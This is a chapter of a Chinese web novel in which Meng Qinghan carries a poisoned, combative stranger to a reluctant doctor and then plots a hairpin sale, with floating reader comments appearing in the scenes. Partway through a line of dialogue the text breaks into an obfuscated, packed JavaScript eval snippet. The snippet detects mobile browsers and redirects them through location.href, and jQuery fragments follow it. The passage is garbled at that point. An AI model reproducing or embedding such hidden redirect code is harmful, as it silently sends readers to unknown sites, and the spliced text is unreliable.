孟清涵看着匕首卡在门上,青色液体顺着刀锋流下来,记忆将她拉回益州的小巷子,也有一个人用同样的飞刀刺杀他们。
“咳咳……”
咳嗽声让她回头看向从床上起身的小六,他一只手捂着胸口忽然吐出鲜血,鲜血一滴一滴滴落在土壤中。
她环视四周发现灰尘遍布,并不像有人长期住人的地方。
她向他走过去,走到他的面前刚想伸手抬起他的下巴,他立马从被褥中拿出匕首向她心脏的位置刺去,她反手握住了他的手腕,力度逐渐收紧,他吃疼的松开了手中的匕首。
匕首摔落在地,他想挣脱却挣脱不开,反手握拳向她袭来,她用另一只手抓住了他的手腕并用力推开了,趁着他身体被推动朝向另一边,反手扇了他一巴掌。
响亮的巴掌声把藏在阴暗角落的老鼠吓得四处逃窜,他瞬间不动了,愣在原地呆呆的看向她,茫然的眨了眨眼睛。
“睁大你的眼睛好好看看我是谁,在这里发什么疯!”
“你!”
骤然,她反手对着他的脖子来了一击,他闭眼昏倒在了床上。
她看了一眼他床上只有一块布充当被褥,又看了一眼昏过去的他,用手戳了戳他的脸:“看这口型肯定说不出什么好话,说不出什么好话就不用开口了。”
思想斗争了一会儿,她叹了一口气,将他扶起来背着他往郎中家去。
“今夜幸好无雨,否则我真要收你银子了。”
她回头看了一眼昏睡的他,低声喃喃道:“小六若是看到屋子如此凌乱必定会发疯,最重要的是小六根本一点武功都不会,你刚才动作如此娴熟一看便是有武功底子,你到底是谁?”
她只觉得背酸疼得想让她打人,又看了他一眼闷声说道:“若不是还想从你口中套话,我才不会救你,你醒了可别又发什么疯。”
走了半个时辰终于来到了林郎中的屋子前。
她疯狂敲打林郎中的屋门,林郎中半睁着眼睛走到门口,一开门便看到她背着嘴角带着的他,瞬间清醒万分。
“你不会把他打死了吧?我这、我这、不是衙门,呸,我这不是焚烧处,今夜,我什么都没看见,你没见过我,我没见过你。”
林郎中立马要把门关上反被她用一只脚抵住。
“你把我想成什么人了?我是仗义相助,这人昏迷在家中,我恰巧路过便想着救人一命胜造七级浮屠。”
“…………”
【超AAAAAA小说批发户:谁家好人大半夜两三点不睡觉出来遛弯?顺道路过别人家救人。】
【吃瓜第一线某某群众:林郎中:我就静静看着你一本正经的胡说八道,你看我信你几分?】
【天好冷,想把手伸进你兜里掏钱:不是,这都不是重点,重点是这钱不会要先垫付吧?这人看起来还不起的样子,风险指数不可控啊?】
【拒绝油腻男,从你我做起:再不救他,他都快凉透了,风吹得人心里拔凉拔凉。】
趁着林郎中面露纠结的望向别处,她直接硬闯进林郎中的屋内。
“你怎么如此厚脸皮!”
“神医中的神医,拜托救救他吧,他真的对我很重要。”
“?”
“我背过来的路费还未给我,他死了那我就白背了,谁来赔偿我这一路过来肩疼的损失费啊!”
林郎中看了她一眼又立刻闭上了眼睛:“…………”
一炷香后,她用手撑在桌子上,眼皮不停在打架。
“这小子看起来并不太好,他身体里这个毒我从未见过,这个毒不会要他性命但会让他每日晚上生不如死,如万箭穿心一般,今夜恐怕是毒气攻心,没忍住吐血了。”
此话让原本昏昏欲睡的她瞬间清醒了,她走到林郎中身旁皱着眉头说道:“太阴险了,为了折磨人而折磨人,也不知这药如何制作,等我找到小六,一定要让他将此毒制作出来,再高价卖给投毒者,不买就给这人下此毒。”
林郎中不确定是否听错了内容,皱着眉头看向她:“以暴制暴?”
她捂着耳朵瞥了他一眼,笑道:“若林郎中要说不顺耳之话,那我也高价卖给你。”
林郎中身体瞬间僵硬,下垂的目光又立刻抬起,笑道:“此乃上上策。”
她转而望向他,低声道:“他能活多久?有什么缓解之法子嘛?能活到还清我银子的那一刻嘛?”
“别急别急,先用药材让他缓解缓解疼痛,过几日应该会好些。”
林郎中忽然一转头发现身旁无一人,此刻的孟清涵正悄摸打开大门正要溜之大吉。
“别想再来这一套,先把银子留下。”
林郎中立马起身就要追出去,她一边后退一边对着他会挥挥手,笑道:“麻烦林郎中先照料一下他,明日,不,来日我一定会将银子付下,今日出门走得匆忙没拿银子,我还有事,先走一步了。”
林郎中皱着眉头说道:“怎么跟一个模子刻出来一样,专欺负我这个孤寡老人,气煞我也。”
他转过身一边走一边深呼吸:“莫气莫气,生气伤身生气伤身,我还想再多活二十年。”
林郎中走进屋子,趴在门外面的孟清涵才微微推开门,透过缝隙看到他进去了,笑着将门关上。
第二日午时,孟清涵从床上醒来,洗漱后直奔茶馆。
在小二的带领下来到厢房,她站在门口连打三个哈欠。
【超AAAAAA小说批发户:凌晨四点睡,最强打工人啊。】
【吃瓜第一线某某群众:女配:忙完你的忙你的,见完这个见你的,一个个排队来不急不急,但这么忙兜里是一分钱没进。】
【天好冷,想把手伸进你兜里掏钱:别逼我跪下求你别说了,听懂的都哭了,成上班志愿者了。】
【拒绝油腻男,从你我做起:以为看见帅哥心脏飞速跳动是心动,其是熬夜导致的心跳加速。】
她看了眼空中文字,默默举起手发誓道:“我一定要连本带利把这银子收过来,这几天累得倒头就睡了。”
她推开门便见他坐在窗边悠闲的喝茶,走过去坐在凳子上,趴在桌子上说道:“孟之安,这些年你搜刮的银子也不少了,找一个身在荒郊野岭的宅子给我住,恐怕找都找了三天三夜吧,我来这一趟腿都要断了,不给点银子我都没力气给你出谋划策了。”
“不是有马车夫?”
他不说还好,一说这事她脸上的笑容瞬间消失。
她抬起头笑着看着他:“什么叫我有银子,从开始到现在你还未给我一文钱,居然还要我付钱?”
“我看你经常对其他人威逼利诱,还以为你搜刮了不少钱财呢?”
“…………”
“看这样子是我高看你了。”
“你……”
骤然,他将一个钱袋子放在桌子上,原本指着他的孟清涵立马把手放下,笑着坐在他对面说道:“您说的都对。”
他瞧见她立马将钱袋子顺过去,转而看向她问道:“已经过去了四日,什么时候卖第三批簪子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396378|200374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“等等,让我掐指一算。”
她闭上双眼,看了一眼外面的天空,又看了一眼他,手指动了动,认真的说道:“明日是个好日子,明日便可。”
他瞥了她一眼,又将视线看向手中茶杯:“…………”
当他再次抬眼望向她,语意不明问道:“为何把日子延迟?是计划有什么变动吗?”
“因为我掐指一算,那几日风水不太好,不适合卖东西,可能血本无归。”
他看了她一眼,想说什么又闭上了嘴巴:“…………”
她反问道:“上一批簪子的事情解决了?”
他点了点头:“嗯,在姜云染的游说之下,此事已告一段落,小姐们的谅解和统一说辞加上我放了点风声出去,百姓的质疑也慢慢消失了。”
“不错,接下来可以按照计划往下走了。”
她看向窗外的目光移到他的身上,笑道:“终于快结束了,希望这次能一帆风顺。”
“有我在,自然万无一失。”
她看了他一眼,笑着将目光转向茶杯。
下午,孟府和林府一同把第三批为最后一批货的消息放出去。
此话一出,百姓便开始讨论起来。
一个男人听着传闻,不禁质疑道:“就没了,这前前后后都没一百支?”
张大婶笑着摇摇头,端着小菜放到他们的桌子上:“这一支价格可不菲,我们普通百姓可买不起,大户人家也不过就那些,做多了没人买就亏本了。”
张大婶见四周没什么人,继而小声对她们说道:“这可是打着为太后祈福的名号,卖的多了不就成谋利了嘛?人在做,天在看,这种事做多了,可不利于名声呢。”
其她人一听似乎也有几分道理,就没再说什么了。
——
第二日午时。
孟之安和林淮之拿着盒子来到商铺前,队伍从街头排到了街尾。
半柱香不到,所有簪子都没了。
“这可怎么办啊?小姐念叨了好久,这买不回去恐怕难以交差。”
“是啊,怎会如此少。”
排队的人相继叹气,互相看了看又一同望向他们。
孟之安笑着看向她们,指了指身旁拿着册子的林淮之:“各位姑娘,不好意思,簪子已全部售完,为了弥补大家在这耽误的时间,未买到簪子的姑娘可在此留下自家小姐的名字,我们三个月后会再次制作全新簪子,到时候有名字的姑娘可以半价购买。”
此话一出,她们如释重负的松了一口气。
第二日清晨,他们二人来到商铺,周围人的指指点点让林淮之疑惑的望向他:“你没有发现今日有些奇怪,她们怎么都用异样的目光我们。”
孟之安看向周边人,低声说道:“她们……”
“就是他们,孟少掌柜,林少掌柜,这样唬人就不好了吧?原本前些日子听其她人说你们家簪子戴上会毁容,就留了几分戒心,后面澄清后以为至少短时间不会再有什么问题。”
一个丫鬟走上前指着他们二人说道:“没想到现在装都不愿意装了。”
林淮之听得云里雾里,上前一步询问道:“等等,这位姑娘,我没太听懂你的意思?”
她将手中的簪子甩向林淮之:“什么意思!你这簪子是假的,我特意拿这簪子和第一批的簪子进行对比了,完全就是两回事!”
与此同时。
一个丫鬟不停的敲打着书房的门,大喊道:“老爷老爷,苏夫人醒了。”